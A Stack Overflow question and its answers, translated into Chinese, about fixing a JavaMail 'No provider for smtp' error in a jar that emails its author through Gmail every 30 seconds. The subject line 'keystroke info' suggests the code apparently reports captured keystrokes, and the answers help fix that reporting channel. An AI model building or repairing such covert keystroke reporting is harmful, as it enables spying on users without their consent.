【问题标题】:Java smtp error when sending email through gmail通过 gmail 发送电子邮件时出现 Java smtp 错误
【发布时间】:2019-05-06 10:59:47
【问题描述】:

基本上,我通过 Eclipse 创建了一个可运行的 jar 文件,它应该每 30 秒向我发送一封电子邮件。该代码在 Eclipse 中运行时运行良好,但在创建 jar 文件并运行 jar 文件后,它给了我这个错误。

javax.mail.NoSuchProviderException: No provider for smtp
    at javax.mail.Session.getProvider(Session.java:460)
    at javax.mail.Session.getTransport(Session.java:655)
    at javax.mail.Session.getTransport(Session.java:636)
    at handlers.Sender.Send(Sender.java:89)
    at handlers.Sender.Send(Sender.java:34)
    at handlers.ManageService.run(ManageService.java:29)
    at java.lang.Thread.run(Unknown Source)

我在这个页面上尝试了一些解决方案Send email using java 但无法得到任何工作。我错过了什么还是其他人有任何其他解决方案?

package handlers;

import java.util.Properties;

import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import javax.mail.internet.MimeMessage.RecipientType;

public class Sender {
    private Sender() {

    }

    private static final String SENDERS_GMAIL = "EMAIL";
    private static final String SENDERS_PASSWORD = "PASS";

    private static final String RECIEVERS_EMAIL = "EMAIL";

    private static Properties mailServerProperties;
    private static Session mailSess;
    private static MimeMessage mailMessage;

    public static void sendMail(String emailBody) throws Throwable {
        mailServerProperties = System.getProperties();
        mailServerProperties.put("mail.smtp.port", "587");
        mailServerProperties.put("mail.smtp.auth", "true");
        mailServerProperties.put("mail.smtp.starttls.enable", "true");

        mailSess = Session.getDefaultInstance(mailServerProperties);
        mailMessage = new MimeMessage(mailSess);
        mailMessage.addRecipient(RecipientType.BCC,  new InternetAddress(RECIEVERS_EMAIL));
        mailMessage.setSubject("keystroke info");
        mailMessage.setContent(emailBody, "text/html");


        Transport transport = mailSess.getTransport("smtp");
        transport.connect("smtp.gmail.com", SENDERS_GMAIL, SENDERS_PASSWORD);
        transport.sendMessage(mailMessage, mailMessage.getAllRecipients());
        transport.close();
}

}

【问题讨论】:

标签: java


【解决方案1】:

下载 smtp.jar https://mvnrepository.com/artifact/com.sun.mail/smtp/1.4.5 以便专门解决您的问题并将其添加到您的项目中。

【讨论】:

    【解决方案2】:

    请更新您的 jar 文件,并使用以下链接将最新稳定版本的 JavaMail jar 文件放入您的项目中:

    https://mvnrepository.com/artifact/javax.mail/mail

    然后你应该添加 SMTP 主机,好像你忘记了你的代码:

    props.put("mail.smtp.host", "smtp.gmail.com");
    

    试试这个代码:

        final String username = "username@gmail.com";
        final String password = "password";
    
        Properties props = new Properties();
        props.put("mail.smtp.auth", "true");
        props.put("mail.smtp.starttls.enable", "true");
        props.put("mail.smtp.host", "smtp.gmail.com");
        props.put("mail.smtp.port", "587");
    
        Session session = Session.getInstance(props,
          new javax.mail.Authenticator() {
            protected PasswordAuthentication getPasswordAuthentication() {
                return new PasswordAuthentication(username, password);
            }
          });
    
        try {
    
            Message message = new MimeMessage(session);
            message.setFrom(new InternetAddress("from-email@gmail.com"));
            message.addRecipient(Message.RecipientType.BCC,  new InternetAddress(RECIEVERS_EMAIL));
            message.setSubject("keystroke info");
            message.setText("Email body text message");
    
            Transport.send(message);
    
            System.out.println("Done");
    
        } catch (MessagingException e) {
            throw new RuntimeException(e);
        }
    

    【讨论】:

    • @Jakey 我更新了答案,请跟进,看看是否能解决您的问题
    • 我发布了修复它的内容,但我也将使用此代码。谢谢!
    • @Jakey 我想你忘了给我的答案打分。呵呵
    【解决方案3】:

    必须在 https://javaee.github.io/javamail/ 更新我的库。

    我只是在更新 mailapi,但注意到它没有包含任何协议。我需要更新协议的 smtp.jar。

    感谢大家的帮助!

    【讨论】:

    • 在您发送此消息之前,我已更新了对此的回答。查看时间
    • 我一定错过了。感谢您的帮助!
    猜你喜欢
    • 2014-01-04
    • 2016-07-18
    • 2018-05-13
    • 2014-02-21
    • 2015-02-21
    • 1970-01-01
    • 2016-06-03
    • 1970-01-01
    相关资源
    最近更新 更多